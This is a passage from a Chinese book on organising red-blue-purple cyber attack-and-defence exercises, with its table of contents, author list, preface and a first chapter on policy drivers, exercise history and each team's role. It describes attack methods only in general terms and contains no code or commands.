text
stringlengths
100
9.93M
category
stringclasses
11 values
红蓝攻防:构建实战化网络安全防御体系 奇安信安服团队 著 ISBN:978-7-111-70640-3 本书由机械工业出版社华章分社授权北京世纪卓越信息技术有限公司 在全球范围内制作与发行。 版权所有,侵权必究 目录 作者简介 作者名单 前言 第一部分 红蓝对抗基础 第1章 认识红蓝紫 1.1 实战攻防演练 1.1.1 为什么要进行实战攻防演练 1.1.2 实战攻防演练的发展现状 1.2 蓝队 1.2.1 什么是蓝队 1.2.2 蓝队演变趋势 1.3 红队 1.3.1 什么是红队 1.3.2 红队演变趋势 1.4 紫队 1.4.1 什么是紫队 1.4.2 紫队演变趋势 1.5 实战攻防演练中暴露的薄弱环节 1.6 建立实战化的安全体系 第二部分 蓝队视角下的防御体系突破 第2章 蓝队攻击的4个阶段 2.1 准备工作 2.1.1 工具准备 2.1.2 专业技能储备 2.1.3 人才队伍储备 2.2 目标网情搜集 2.2.1 何为网情搜集 2.2.2 网情搜集的主要工作 2.2.3 网情搜集的途径 2.3 外网纵向突破 2.3.1 何为外网纵向突破 2.3.2 外网纵向突破的主要工作 2.3.3 外网纵向突破的途径 2.4 内网横向拓展 2.4.1 何为内网横向拓展 2.4.2 内网横向拓展的主要工作 2.4.3 内网横向拓展的途径 第3章 蓝队常用的攻击手段 3.1 漏洞利用 3.1.1 SQL注入漏洞 3.1.2 跨站漏洞 3.1.3 文件上传或下载漏洞 3.1.4 命令执行漏洞 3.1.5 敏感信息泄露漏洞 3.1.6 授权验证绕过漏洞 3.1.7 权限提升漏洞 3.2 口令爆破 3.2.1 弱口令 3.2.2 口令复用 3.3 钓鱼攻击 3.3.1 外网钓鱼 3.3.2 内网钓鱼 3.3.3 钓鱼应急措施 3.4 供应链攻击 3.4.1 网络或平台提供商 3.4.2 安全服务提供商 3.4.3 产品或应用提供商 3.5 VPN仿冒接入 3.6 隐蔽隧道外连 3.7 社会工程学攻击 3.8 近源攻击 第4章 蓝队攻击的必备能力 4.1 实战化能力与传统能力的区别 4.2 实战化蓝队人才能力图谱 4.2.1 基础能力 4.2.2 进阶能力 4.2.3 高阶能力 第5章 蓝队经典攻击实例 5.1 正面突破:跨网段控制工控设备 5.2 浑水摸鱼:社工钓鱼,突破系统 5.3 偷梁换柱:冒充客户,突破边界 5.4 声东击西:混淆流量,躲避侦察 5.5 迂回曲折:供应链定点攻击 5.6 李代桃僵:旁路攻击,搞定目标 5.7 顺手牵羊:巧妙种马,实施控制 5.8 暗度陈仓:迂回渗透,取得突破 5.9 短兵相接:近源渗透,直入内网 第三部分 红队视角下的防御体系构建 第6章 红队防守的实施阶段 6.1 备战阶段:兵马未动,粮草先行 6.2 临战阶段:战前动员,鼓舞士气 6.3 实战阶段:全面监测,及时处置 6.4 总结阶段:全面复盘,总结经验 第7章 红队常用的防守策略 7.1 信息清理:互联网敏感信息 7.2 收缩战线:收敛互联网暴露面 7.3 纵深防御:立体防渗透 7.4 守护核心:找到关键点 7.5 协同作战:体系化支撑 7.6 主动防御:全方位监控 7.7 应急处突:完备的方案 7.8 溯源反制:人才是关键 第8章 红队常用的防护手段 8.1 防信息泄露 8.1.1 防文档信息泄露 8.1.2 防代码托管泄露 8.1.3 防历史漏洞泄露 8.1.4 防人员信息泄露 8.1.5 防其他信息泄露 8.2 防钓鱼 8.3 防供应链攻击 8.4 防物理攻击 8.5 防护架构加强 8.5.1 互联网暴露面收敛 8.5.2 网络侧防御 8.5.3 主机侧防御 8.5.4 Web侧防御 8.5.5 App客户端安全 第9章 红队常用的关键安全设备 9.1 边界防御设备 9.1.1 防火墙 9.1.2 入侵防御系统 9.1.3 Web应用防火墙 9.1.4 Web应用安全云防护系统 9.1.5 邮件威胁感知系统 9.2 安全检测设备 9.2.1 互联网资产发现系统 9.2.2 自动化渗透测试系统 9.2.3 开源组件检测系统 9.2.4 运维安全管理与审计系统(堡垒机) 9.3 流量监测设备 9.3.1 流量威胁感知系统 9.3.2 态势感知与安全运营平台 9.3.3 蜜罐系统 9.4 终端防护设备 9.4.1 终端安全响应系统 9.4.2 服务器安全管理系统 9.4.3 虚拟化安全管理系统 9.4.4 终端安全准入系统 9.4.5 终端安全管理系统 9.5 威胁情报系统 第10章 红队经典防守实例 10.1 严防死守零失陷:某金融单位防守实例 10.1.1 领导挂帅,高度重视 10.1.2 职责明确,全员参战 10.1.3 全面自查,管控风险 10.1.4 顽强作战,联防联控 10.2 厘清现状保核心:某集团公司防守实例 10.2.1 明确核心,总结经验 10.2.2 合理规划,全面自查 10.2.3 纵深防御,全面监控 10.2.4 联动处置,及时整改 10.3 准备充分迎挑战:某政府单位防守实例 10.3.1 三项措施,演练前期充分备战 10.3.2 三段作战,破解演练防守困境 第四部分 紫队视角下的实战攻防演练组织 第11章 如何组织一场实战攻防演练 11.1 实战攻防演练的组织要素 11.2 实战攻防演练的组织形式 11.3 实战攻防演练的组织关键 11.4 实战攻防演练的风险规避措施 第12章 组织攻防演练的5个阶段 12.1 组织策划阶段 12.2 前期准备阶段 12.3 实战攻防演练阶段 12.4 应急演练阶段 12.5 演练总结阶段 第13章 组织沙盘推演的4个阶段 13.1 组织策划阶段 13.2 推演准备阶段 13.3 沙盘推演阶段 13.4 总结评估阶段 作者简介 奇安信安服团队 团队以攻防技术为核心,在云端大数据支撑下聚焦威胁检测和响 应,具备咨询规划、威胁检测、攻防演练、持续响应、预警通告、安 全运营等一系列实战化服务能力,是一支能够为客户提供全周期安全 保障服务的专业网络安保和应急响应团队。 团队是国内规模领先的安全服务团队,业务范围覆盖全国,服务 对象包括网络安全监管机构以及党政、金融、运营商、能源、央企、 传媒、民航等各行业各领域的头部企业和行业单位。 团队拥有大量经验丰富的网络安全攻防专家,聚集了国内优秀网 络安全人才,创造了数量位于业内前列的重要保障案例,并连续多年 在实战攻防演练中取得了辉煌的攻防战绩,已成为攻防演练服务的领 军团队。 团队拥有专注于互联网应用漏洞挖掘和攻防研究的观星实验室团 队,以及在实战攻防演练中扮演重要角色、擅长组织实施渗透攻击的 Z-TEAM团队,为网络安全服务工作提供强有力的技术支持。Z-TEAM 团队在实网对抗的不断锤炼中研发出多套实用技战法和配套工具,尤 其在Web攻防、社工渗透、内网渗透、模拟APT攻击等方面技术实力 扎实、技战法灵活,实战能力受到业内高度认可。  作者名单 张翀斌 刘敬群 顾 鑫 袁小勇 龚玉山 张铁铮 黄敬磊 初雪峰 李世杰 李绪彬 刘丽锋 刘新强 秦 学 薛克伟 闫绍鹏 杨朋浩 于晓堃 策划人 刘 洋 尹 磊 前言 在全球信息技术不断推陈出新、数字化转型不断加速的大背景 下,我国各个领域也在加快技术创新、数字化转型的步伐,信息化、 数字化、智能化等方面正在发生不同程度的变革。新发展不仅带来新 机遇,也带来了新风险。网络安全是技术创新、数字化转型的重要基 础保障,但当前国内外网络安全形势日趋严峻,数据泄露、供应链攻 击、勒索病毒、APT(高级持续性威胁)攻击等网络安全事件频发,网 络安全所面临的威胁愈加多样、复杂、棘手。在互联互通的数字化链 条中,任何一个漏洞隐患都有可能破坏已有的网络安全防护,给企 业、机构等带来信息安全风险、不良影响甚至财产损失等。 网络安全的本质在于对抗,对抗的本质在于攻防两端能力的较 量。2020年以来,国家规模的实战攻防演练已成为检验各领域政企机 构网络安全防护水平的重要手段。因此,若要全面了解网络安全防护 水平和薄弱环节,那么定期组织高质量的实战攻防演练,在真实业务 环境下开展“背靠背”的攻防对抗,是一种必然且卓有成效的选择。 攻防演练不仅可以发现已存在的安全漏洞隐患并及时修补,还可以检 验安全技术人员的监测预警、分析研判和处置溯源能力,提升人员专 业技能和安全意识,更可以检验各组织、各部门间的协同响应能力, 提升上下和内外之间的联防联动能力,对完善网络安全监测预警和应 急响应机制、强化安全防护能力、切实提高网络安全防御水平具有重 要意义。 本书内容全面,从什么是实战攻防演练到如何分别站在红队(防 守方)、蓝队(攻击方)和紫队(组织方)视角开展演练工作都进行 了详细介绍,明确了各方演练的内容与要点,旨在向广大政企机构和 网络安全从业人员分享红蓝实战攻防演练经验,并提供基础性的参考 方案。 本书分为四部分共13章。第一部分介绍红蓝实战攻防演练的基本 概念、发展现状、演变趋势及常暴露的薄弱环节等。第二~四部分分 别介绍蓝队视角下的防御体系突破、红队视角下的防御体系构建、紫 队视角下的实战攻防演练组织,描述了在不同视角下各阶段如何具体 开展相关工作,并提供必备能力、重点策略、风险规避措施等实践干 货,以及剖析了多个经典案例。 本书适合网络安全从业人员、企业信息化负责人及对网络攻防演 练有兴趣的读者学习和参考。由于笔者写作时间和水平有限,书中难 免存在疏漏及不妥之处,敬请各位批评斧正。 第一部分 红蓝对抗基础 在网络实战攻防演练中的防守和攻击两方分别称为红队和蓝队。 通常在攻防演练中,除了红蓝双方外,还需要有站在中立角度进行演 练组织、评判等的第三方,即紫队。本部分详细介绍了实战攻防演练 的概念、意义和现状,对近几年国内实战攻防演练中红蓝紫三方的定 位和发展趋势进行了分析,同时描述了攻防演练中暴露的主要安全问 题,并讲解了如何建立实战化的安全体系。 第1章 认识红蓝紫 1.1 实战攻防演练 1.1.1 为什么要进行实战攻防演练 军事上的实兵演练是除了实战之外最能检验军队战斗力的一种考 核方式,可有效提高防御作战能力,以应对外部势力发起的攻击和袭 扰,更好地维护国家主权和安全。同样,在网络安全上,真实环境下 的网络攻防演练也是网络安全中最能检验安全团队防御能力、发现当 前网络环境中存在的安全风险的方式之一。 1. 政策要求驱动 2017年6月1日,随着我国第一部网络安全法《中华人民共和国网 络安全法》(下简称《网络安全法》)的正式实施,我国网络安全管 理迈入法治新阶段,网络空间法治体系建设加速开展。《网络安全 法》就网络安全应急演练工作明确指出,关键信息基础设施的运营者 应当“制定网络安全事件应急预案,并定期进行演练”,国家网信部 门应当统筹协调有关部门“定期组织关键信息基础设施的运营者进行 网络安全应急演练,提高应对网络安全事件的水平和协同配合能 力”,“负责关键信息基础设施安全保护工作的部门应当制定本行 业、本领域的网络安全事件应急预案,并定期组织演练”,要求关键 信息基础设施的运营者、国家网信部门等定期组织开展应急演练工 作。 2018年全国网络安全和信息化工作会议于4月20日至21日在北京召 开,会议强调,“没有网络安全就没有国家安全,就没有经济社会稳 定运行,广大人民群众利益也难以得到保障。要树立正确的网络安全 观,加强信息基础设施网络安全防护,加强网络安全信息统筹机制、 手段、平台建设,加强网络安全事件应急指挥能力建设,积极发展网 络安全产业,做到关口前移,防患于未然。要落实关键信息基础设施 防护责任,行业、企业作为关键信息基础设施运营者承担主体防护责 任,主管部门履行好监管责任。” “关口前移”是对落实网络安全防护的方法提出的重要要求,而 “防患于未然”则形成了鲜明的以防护效果为导向的指引要求,即要 求用更为积极主动、行之有效的方式来应对网络安全问题。在做好 “关口前移”的基础上,进一步加强网络安全防护运行工作,除了采 用定期检查和突发事件应急响应等偏被动的常规机制外,还需提升安 全防护工作的主动性,根据《网络安全法》的规定定期开展安全应急 演练工作。网络实战攻防演练便是在新的网络安全形势下,通过攻防 双方之间的对抗演练,实现“防患于未然”。 2020年7月,公安部印发《贯彻落实网络安全等级保护制度和关键 信息基础设施安全保护制度的指导意见》(下简称《意见》),《意 见》明确了网络安全保护“实战化、体系化、常态化”和“动态防 御、主动防御、纵深防御、精准防护、整体防控、联防联控”的“三 化六防”要求,而实战攻防演练是推动和检验“三化六防”水平的重 要手段。《意见》提出:“关键信息基础设施运营者和第三级以上网 络运营者应定期开展应急演练,有效处置网络安全事件,并针对应急 演练中发现的突出问题和漏洞隐患,及时整改加固,完善保护措施。 行业主管部门、网络运营者应配合公安机关每年组织开展的网络安全 监督检查、比武演习等工作,不断提升安全保护能力和对抗能力。” 该文件明确了组织开展实战化演练的责任主体和演练目的,即通过实 战化比武演练不断提升安全保护能力和对抗能力。 近年随着国家对网络安全工作的越发重视,尤其是《关键信息基 础设施安全保护条例》等关键信息基础设施保护有关政策法规和标准 的陆续出台,实战演练已成为国家各个重要行业用于检验网络安全保 护水平的重要手段。网络安全的本质在对抗,对抗的本质在攻防两端 能力较量。相信随着国家在网络安全方面政策文件的不断完善,“实 战练兵”将成为提高抵御网络攻击能力、检验网络安全措施有效性的 重要举措。 2. 安全威胁驱动 关键信息基础设施,指的是面向公众提供网络信息服务或支撑能 源、通信、金融、交通、公共事业等重要行业运行的信息系统或工业 控制系统。这些系统一旦发生网络安全事故,可能会对重要行业正常 运行产生较大影响,对国家政治、经济、科技、社会、文化、国防、 环境及人民生命财产造成严重损失。 当前,我国关键信息基础设施面临的网络安全形势严峻复杂,网 站平台大规模数据泄露事件频发,生产业务系统安全隐患突出,甚至 有的系统长期被控,面对高级持续性的网络攻击,防护能力十分欠 缺。近几年,针对我国的网络窃密、监听等攻击事件频发,网络空间 的网络安全攻防对抗日趋激烈。目前,我国面临的网络安全威胁主要 有以下几点。 1)针对我国重要信息系统的高强度、有组织的攻击威胁形势严 峻。2020年,据不完全统计,奇安信威胁情报中心共收录了高级威胁 类公开报告642篇,涉及151个命名的攻击组织或攻击行动,其中,提 及率最高的5个(高级持续性威胁)组织分别是Lazarus(10.3%)、 Kimsuky(7.8%)、海莲花(5.4%)、Darkhotel(4.8%)和蔓灵花 (3.2%)。监测显示,高级威胁攻击活动覆盖了全球绝大部分国家/地 区,其中,提及率最高的5个受害国家分别为中国(7.4%)、韩国 (6.6%)、美国(4.9%)、巴基斯坦(3.2%)和印度(3.2%)。中国 首次超过美国、韩国、中东等国家/地区,成为全球APT攻击的首要地 区性目标。医疗卫生行业首次超过政府、金融、国防、能源、电信等 领域,成为全球APT活动关注的首要目标。2020年,新冠肺炎疫情信息 成为APT活动常用诱饵,供应链和远程办公成为切入点,定向勒索威胁 成为APT活动新趋势。海莲花依旧是东南亚地区最为活跃的APT组织。 2)工业互联网面临的网络安全威胁加剧。2020年,根据我国国家 信息安全漏洞共享平台(CNVD)统计,通用软硬件漏洞为19 964个, 其中,Web应用漏洞占总比为27.7%,操作系统漏洞占总比为10.3%,网 络设备漏洞占总比为6.8%,数据库漏洞占总比为1.4%,电信行业漏洞 占总比为4.4%,移动互联网占总比为7.3%,工控漏洞占总比为3.2%, 物联网终端设备占总比为2.1%,其他类型占比为36.8%。工控漏洞虽然 在2020年全年漏洞中占总比相对较小,但其重要性不可忽视,涉及西 门子、施耐德、研华科技等在中国广泛应用的工控系统产品。 2021年5月7日,美国燃油管道公司Colonial Pipeline管网遭受攻 击,攻击者窃取这家公司的重要数据文件,燃油管道运输管理系统也 遭遇“劫持”,一度致使美国东部沿海各州的关键供油管道被迫关 闭。 3. 国外实战演练开展情况 2017年11月中旬北美举办了第二轮“GridEx-IV”网络战演练,来 自美国、加拿大、墨西哥的450家组织和机构的6300人共同参与了北美 电网故障场景的演练。该演练由美国政府与各电力企业合作开展,于 2011年首次举办之后,每两年举办一次。主要参与对象有电力企业、 地区(地方、州、省)和联邦政府执法机构、第一响应和情报机构、 关键基础设施跨部门合作伙伴(公共事业单位等)、能源供应链企业 等,规模较大。该演练的目的是:证明各参与方应如何应对物理安全 威胁事件并恢复演练中的模拟协调网络,从而让各参与方加强危机意 识,并彼此交流经验教训;协调各方资源、努力筹备与提出应对举 措,解决国家层面的灾难或针对关键基础设施的安全威胁。 2018年4月23日至27日,来自30个国家/地区的1000多名“战士” 在一个虚拟国家Berylia进行了为期5天的“战斗”,最终北约队折 桂,法国队和捷克队分获亚军和季军。这场没有硝烟的虚拟网络战, 每年都要开战一次,这便是全球最具影响力、规模最大、最复杂的国 际性实战网络防御演练——锁盾(Locked Shields)。锁盾演练的主 办方为北约,具体操办机构为北约网络防御中心(CCDCOE,成立于 2008年),自2010年始,每年举办一次。该演练的目的是为各国/地区 网络防御专家提供保护国家/地区信息技术IT系统和重要基础设施的演 练机会,同时评估大规模网络攻击对民用和军事领域的IT系统所造成 的影响。 2020年8月13日,为期三天的美国“网络风暴2020”(Cyber Storm 2020)演练落幕,在美国网络安全和基础设施安全局(CISA) 的组织下,近2000名来自政府机构和私营企业的人员参加了演练。本 次演练汲取了往届的经验,跟进了当今网络安全的格局变化,并以此 为基础,对网络响应方面取得的成绩进行评估和改进。本次演练促进 并加强了公私伙伴关系,对新的关键基础设施合作伙伴进行整合,不 仅强调了信息共享和分析机构的关键作用,还强调了实体有必要充分 了解自己对第三方服务的依赖。 2021年11月15日至20日,美国网络司令部举行了“网络旗帜21- 1”演练。此次演练是美国网络司令部规模最大的跨国网络演练,以网 络空间集体防御为重点,加强了来自23个国家/地区的200多名网络作 战人员的防御技能。演练利用“国家网络靶场”测试了参与人员检测 敌人、驱逐敌人和确定解决方案的能力,以加强其模拟网络的技能。 此次演练是美国对SolarWinds渗透攻击的回应举措之一,旨在加强网 络空间集体防御,确认开放、可靠和安全的互联网的重要性。 1.1.2 实战攻防演练的发展现状 1. 实战攻防演练向规模化演变 我国实战攻防演练的发展分为两个阶段:第一阶段是试验阶段, 以学习先进实战经验为主,参演单位少,演练范围小;第二阶段是推 广阶段,实战演练发展飞速,参演单位数量暴增,演练走向规模化。 2016年《中华人民共和国网络安全法》的颁布,标志着我国的网 络安全攻防演练进入试验阶段。当年,我国在举行第一场实战攻防演 练后,迅速将网络安全实战演练推上日程,为日后发展打下了坚实基 础。在试验阶段,世界上著名的“网络风暴”“锁盾”等网络攻防演 练行动为我国实战攻防演练发展提供了参考。在各部门的高度重视 下,演练范围越来越广,参演单位数量和涉及行业逐年增多,我国实 战攻防演练开始走向规模化。时至今日,监管机构和各行业都已开展 了实战攻防演练,在实战演练中诞生了一大批网络安全尖兵。 2. 演练规则向成熟化演变 随着国内实战攻防演练的规模逐渐扩大,演练规则也在逐年完 善,覆盖面更广,内容更贴合实战,在发展过程中渐渐成熟。从规则 设置看,数量逐年增加,规则进一步细化,要求更严。对攻击方而 言,要尽可能地找出系统中存在的所有安全问题,穷尽所有已知的攻 击方法,达到让终端、边界、目标系统失陷的目的;对防守方而言, 要进行网络安全监测、预警、分析、验证、处置等一系列工作,并在 后期复盘总结现有防护工作中的不足之处,为后续常态化的网络安全 防护措施提供优化依据。从具体内容看,规则制定紧贴网络安全发展 形势,向实战化倾斜。比如,针对APT攻击,要求防守方做到在攻击发 生后,不仅要保证损失降到最低,更要掌握是谁、通过何种方式进入 系统、做了什么。同时,针对网络安全“一失万无”的特性,除了保 护目标系统外,也要保证相关的业务安全运营,在演练中培养从业者 的全局意识。 3. 演练频度向常态化演变 在监管部门、政企机构的高度重视下,实战攻防演练逐渐走向常 态化,影响力进一步扩大。一年一度的实战攻防演练周期逐渐拉长。 同时,更多政企机构开始利用攻防演练检测自身的网络安全能力,从 而为后续网络安全建设指路。网络攻击突破空间限制,攻击速度快, 随时可能发生。应实战要求,攻防演练对抗周期逐年拉长。在贴合实 战的攻防博弈中,防守方必须进行全天候、全方位的网络安全态势感 知,增强网络安全防御能力和威慑力。实战攻防演练成为政企机构网 络安全防御能力的常态化检查手段。只有打一遍,在攻防对抗中发现 问题并解决问题,才能针对特定问题进行建设规划,全面提升网络安 全能力。现在很多大型政企机构希望专业的网络安全服务商先做一次 实战攻防演练,之后再根据演练结果进行定制化的网络安全规划与设 计服务。只有不断进行网络攻防演练和渗透测试,才能不断提升安全 防御能力,从而应对不断变化的新型攻击和高级威胁。 4. 攻击手段向多样化演变 随着演练经验的不断丰富和大数据安全技术的广泛应用,攻防演 练的攻击手段不断丰富,开始使用越来越多的漏洞攻击、身份仿冒等 新型作战策略,向多样化演变。 2016年,网络实战攻防演练处于起步阶段,攻防重点大多集中于 互联网入口或内网边界。从演练成果来看,从互联网侧发起的直接攻 击普遍十分有效,系统的外层防护一旦被突破,横向拓展、跨域攻击 往往都比较容易实现。 2018年,防守方对攻击行为的监测、发现能力大幅增强,攻击难 度加大,迫使攻击队全面升级。随着部分参与过演练的单位的防御能 力大幅提升,攻击队开始尝试更隐蔽的攻击方式,比如身份仿冒、钓 鱼Wi-Fi、供应链攻击、邮箱系统攻击、加密隧道等,攻防演练与网络 实战的水平更加接近。 2020年,传统攻击方法越来越难取得成效,攻击队开始研究利用 应用系统和安全产品中的漏洞发起攻击。比如:大部分行业会搭建 VPN(Vitual Private Network,虚拟私人网络)设备,可以利用VPN 设备的一些SQL注入、加账号、远程命令执行等漏洞展开攻击;也可以 采取钓鱼、爆破、弱口令等方式来取得账号权限,绕过外网打点环 节,直接接入内网实施横向渗透。 2021年,攻防对抗进一步升级,防守方攻击监测防护能力的大幅 提升以及攻防技术的快速提高,使得攻击队攻击成本和攻击难度也快 速提高。于是,攻击队开始大量使用社工攻击手段,从邮件钓鱼发展 到微信等多种社交软件钓鱼,甚至到物理渗透、近源攻击,力求有效 绕过防护壁垒,快速进入内网。网络安全实战演练是攻防对抗的过 程,攻击手段多样化的最终目的是提升网络安全防护能力,应对不断 变化的网络安全威胁。 5. 安全防御向体系化演变 近几年的实战攻防演练充分证明,没有攻不破的网络,没有打不 透的“墙”。面对多样化的网络攻击手段,不能临阵磨枪、仓促应 对,必须立足根本、打好基础,用系统思维开展体系化的网络安全建 设。网络安全防护思路,急需从过去的被动防御走向主动防御。被动 防御可以理解为“事后补救”,采用隔离、修边界等技术方法,是局 部的,针对单点的,安全产品之间缺乏联动。这种“头痛医头,脚痛 医脚”“哪里出问题堵哪里”的防御思路,已经不再适应当前的网络 安全形势。主动防御可以理解为“事前防控”,将关口前移,防患于 未然。在实战演练后,应对现有安全架构进行梳理,以安全能力建设 为核心思路,重新设计企业整体安全架构,通过多种安全能力的组合 和结构性设计,形成真正的纵深防御体系。 1.2 蓝队 1.2.1 什么是蓝队 在本书中,蓝队是指网络实战攻防演练中的攻击一方。 蓝队一般会针对目标单位的从业人员以及目标系统所在网络内的 软件、硬件设备执行多角度、全方位、对抗性的混合式模拟攻击,通 过技术手段实现系统提权、控制业务、获取数据等渗透目标,从而发 现系统、技术、人员、管理和基础架构等方面存在的网络安全隐患或 薄弱环节。 蓝队人员并不是一般意义上的黑客,黑客往往以攻破系统、获取 利益为目标,而蓝队则是以发现系统薄弱环节、提升系统安全性为目 标。此外,对于一般的黑客来说,只要发现某一种攻击方法可以达成 目标,通常就没有必要再去尝试其他的攻击方法和途径;而蓝队的目 标则是尽可能找出系统中存在的所有安全问题,因此蓝队往往会穷尽 已知的所有方法来完成攻击。换句话说,蓝队人员需要的是全面的攻 防能力,而不仅仅是一两项很强的黑客技术。 蓝队的工作与业界熟知的渗透测试也有所区别。渗透测试通常是 指按照规范技术流程对目标系统进行安全性测试;而蓝队攻击一般只 限定攻击范围和攻击时段,对具体的攻击方法则没有太多限制。渗透 测试过程一般只要验证漏洞的存在即可,而蓝队攻击则要求实际获取 系统权限或系统数据。此外,渗透测试一般都会明确要求禁止使用社 工手段(通过对人的诱导、欺骗等方法完成攻击),而蓝队则可以在 一定范围内使用社工手段。 还有一点必须说明,虽然实战攻防演练过程中通常不会严格限定 蓝队的攻击手法,但所有技术的使用、目标的达成都必须严格遵守国 家相关的法律法规。 在演练中,蓝队通常会以3人为一个战斗小组,1人为组长。组长 通常是蓝队中综合能力最强的,需要具备较强的组织意识、应变能力 和丰富的实战经验。而2名组员则往往需要各有所长,具备边界突破、 横向拓展(利用一台受控设备攻击其他相邻设备)、情报搜集或武器 研制等某一方面或几方面的专长。 蓝队工作对人员的能力要求往往是综合性的、全面的,蓝队人员 不仅要会熟练使用各种黑客工具、分析工具,还要熟知目标系统及其 安全配置,并具备一定的代码开发能力,以便应对特殊问题。 1.2.2 蓝队演变趋势 防守能力不断提升的同时,攻击能力也在与时俱进。目前,蓝队 的工作已经变得非常体系化、职业化和工具化。 1)体系化。从漏洞准备、工具准备到情报搜集、内网渗透等,蓝 队的每个人都有明确的分工,还要具备团队作战能力,已经很少再有 一个人干全套的情况了。 2)职业化。蓝队人员都来自专职实战演练团队,有明确分工和职 责,具备协同配合的职业操守,平时会开展专业训练。 3)工具化。工具专业化程度持续提升,除了使用常用渗透工具, 对基于开源代码的定制工具的应用也增多,自动化攻击也被大规模应 用,如采用多IP出口的自动化攻击平台进行作业。 从实战对抗的手法来看,现如今的蓝队还呈现出社工化、强对抗 和迂回攻击的特点。 1)社工化。利用人的弱点实施社会工程学攻击,是黑产团伙和高 级威胁组织的常用手段,如今也被大量引入实战攻防演练当中。 除了钓鱼、水坑等传统社工攻击手法外,蓝队还会经常通过在线 客服、私信好友等多种交互方式进行社工攻击,以高效地获取业务信 息。社工手段的多变性往往会让防守方防不胜防。 2)强对抗。利用0day漏洞、Nday漏洞、免杀技术等方式与防守方 进行高强度的技术对抗,也是近一两年来蓝队在实战攻防演练中表现 出的明显特点。蓝队人员大多出自安全机构,受过专业训练,因而往 往会比民间黑客更加了解安全软件的防护机制和安全系统的运行原 理,其使用的对抗技术也往往更具针对性。 3)迂回攻击。对于防护严密、有效监控的目标系统,正面攻击往 往难以奏效。这就迫使蓝队越来越多地采用迂回的攻击方式,将战线 拉长:从目标系统的同级单位和下级单位下手,从供应链及业务合作 方下手,在防护相对薄弱的关联机构中寻找突破点,迂回地攻破目标 系统。 1.3 红队 1.3.1 什么是红队 红队,在本书中是指网络实战攻防演练中的防守一方。 红队一般是以参演单位现有的网络安全防护体系为基础,在实战 攻防演练期间组建的防守队伍。红队的主要工作包括演练前安全检 查、整改与加固,演练期间网络安全监测、预警、分析、验证、处 置,演练后期复盘和总结现有防护工作中的不足之处,为后续常态化 的网络安全防护措施提供优化依据等。 实战攻防演练时,红队通常会在日常安全运维工作的基础上以实 战思维进一步加强安全防护措施,包括提升管理组织规格、扩大威胁 监控范围、完善监测与防护手段、加快安全分析频率、提高应急响应 速度、增强溯源反制能力、建立情报搜集利用机制等,进而提升整体 防守能力。 需要特别说明的是,红队并不是由实战演练中目标系统运营单位 一家独力组建的,而是由目标系统运营单位、安全运营团队、攻防专 家、安全厂商、软件开发商、网络运维队伍、云提供商等多方共同组 成的。组成红队的各个团队在演练中的角色与分工情况如下。 ·目标系统运营单位:负责红队整体的指挥、组织和协调。 ·安全运营团队:负责整体防护和攻击监控工作。 ·攻防专家:负责对安全监控中发现的可疑攻击进行分析和研 判,指导安全运营团队、软件开发商等相关部门进行漏洞整改等一系 列工作。 ·安全厂商:负责对自身产品的可用性、可靠性和防护监控策略 进行调整。 ·软件开发商:负责对自身系统进行安全加固、监控,配合攻防 专家对发现的安全问题进行整改。 ·网络运维队伍:负责配合攻防专家进行网络架构安全维护、网 络出口整体优化、网络监控以及溯源等工作。 ·云提供商(如有):负责对自身云系统进行安全加固,对云上 系统的安全性进行监控,同时协助攻防专家对发现的问题进行整改。 ·其他:某些情况下还会有其他组成人员,需要根据实际情况分 配具体工作。 特别强调,对于红队来说,了解对手(蓝队)的情况非常重要, 正所谓“知彼才能知己”。从攻击角度出发,了解攻击队的思路与打 法,了解攻击队的思维,并结合本单位实际网络环境、运营管理情 况,制定相应的技术防御和响应机制,才能在防守过程中争取到更大 的主动权。 1.3.2 红队演变趋势 2016年和2017年,由于监管单位的推动,部分单位开始逐步参与 监管单位组织的实战攻防演练。这个阶段各单位主要作为防守方参加 演练。到了2018年和2019年,实战攻防演练不论单场演练的参演单位 数量、攻击队伍数量,还是攻守双方的技术能力等都迅速增强。实战 攻防演练已经成为公认的检验各单位网络安全建设水平和安全防护能 力的重要手段,各单位也从以往单纯参与监管单位组织的演练逐渐转 变,开始自行组织内部演练或联合组织行业演练。 2020年后,随着在实战攻防演练中真刀实枪地不断对抗和磨砺, 攻守双方都取得了快速发展和进步。迫于攻击队技战法迅速发展带来 的压力,防守队也发生了很大的变化。 1. 防守重心扩大 2020年之前的实战攻防演练主要以攻陷靶标系统为目标,达到发 现防守队安全建设和防护短板、提升各单位安全意识的目的。攻击队 的主要得分点是拿下靶标系统和路径中的关键集权系统、服务器等权 限,在非靶标系统上得分很少。因此,防守队的防守重心往往会聚焦 到靶标系统及相关路径资产上。 大部分参加过实战攻防演练的单位对自身的安全问题和短板已经 有了充分认识,也都开展了安全建设整改工作,它们急需通过实战攻 防演练检验更多重要系统的安全性,并更全面地发现安全风险。因 此,从2020年开始,不论监管单位还是单位自身,在组织攻防演练 时,都会逐步降低演练中靶标系统的权重,鼓励攻击更多的单位和系 统,发现更多的问题和风险。同样,防守队的防守重心也就从以靶标 系统为主,扩大到所有的重要业务系统、重要设备和资产、相关上下 级单位。 2. 持续加强监测防护手段 随着近几年攻防技术的快速发展,实战攻防演练中各种攻击手段 层出不穷、花样百出,各单位在演练中切实感受到了攻击队带来的严 重威胁以及防守的巨大压力,防守队的监测和防护体系面临巨大挑 战。防守队对于在攻防对抗中确实能够发挥重大作用的安全产品青睐 有加,投入大量资金来采购和部署。 2018~2019年,除了传统安全产品外,全流量威胁检测类产品在 攻防对抗中证明了自己,获取了各单位的青睐。2020年后,主机威胁 检测、蜜罐及威胁情报等产品和服务迅速成熟并在演练中证明了自己 对主流攻击的监测和防护能力,防守队开始大规模部署使用。除此之 外,对于钓鱼攻击、供应链攻击等还没有有效的防护产品,不过随着 在实战中的不断打磨,相应产品也会迅速成熟和广泛使用。 3. 被动防守到正面对抗 要说变化,这两年防守队最大的变化应该是从被动挨打迅速转变 为正面对抗、择机反制。之前,演练中的大部分防守队发现攻击后基 本就是封堵IP、下线系统、修复漏洞,之后接着等待下一波攻击。敌 在暗,我在明,只能被动挨打。现在,大量的防守队加强了溯源和反 制能力,与攻击队展开了正面对抗,并取得了很多战果。 要具备正面对抗能力,需要重点加强以下几方面。 1)快速响应。实战中讲究兵贵神速,在发现攻击时,只有快速确 认攻击方式、定位受害主机、采取处置措施,才能够有效阻止攻击, 并为下一步的溯源和反制争取时间。 2)准确溯源。《孙子兵法》云:“知己知彼,百战不殆。”要想 和攻击队正面对抗,首先得找到攻击队的位置,并想办法获取足够多 的攻击队信息,才能有针对性地制定反制策略,开展反击。 3)精准反制。反制其实就是防守队发起的攻击。在准确溯源的基 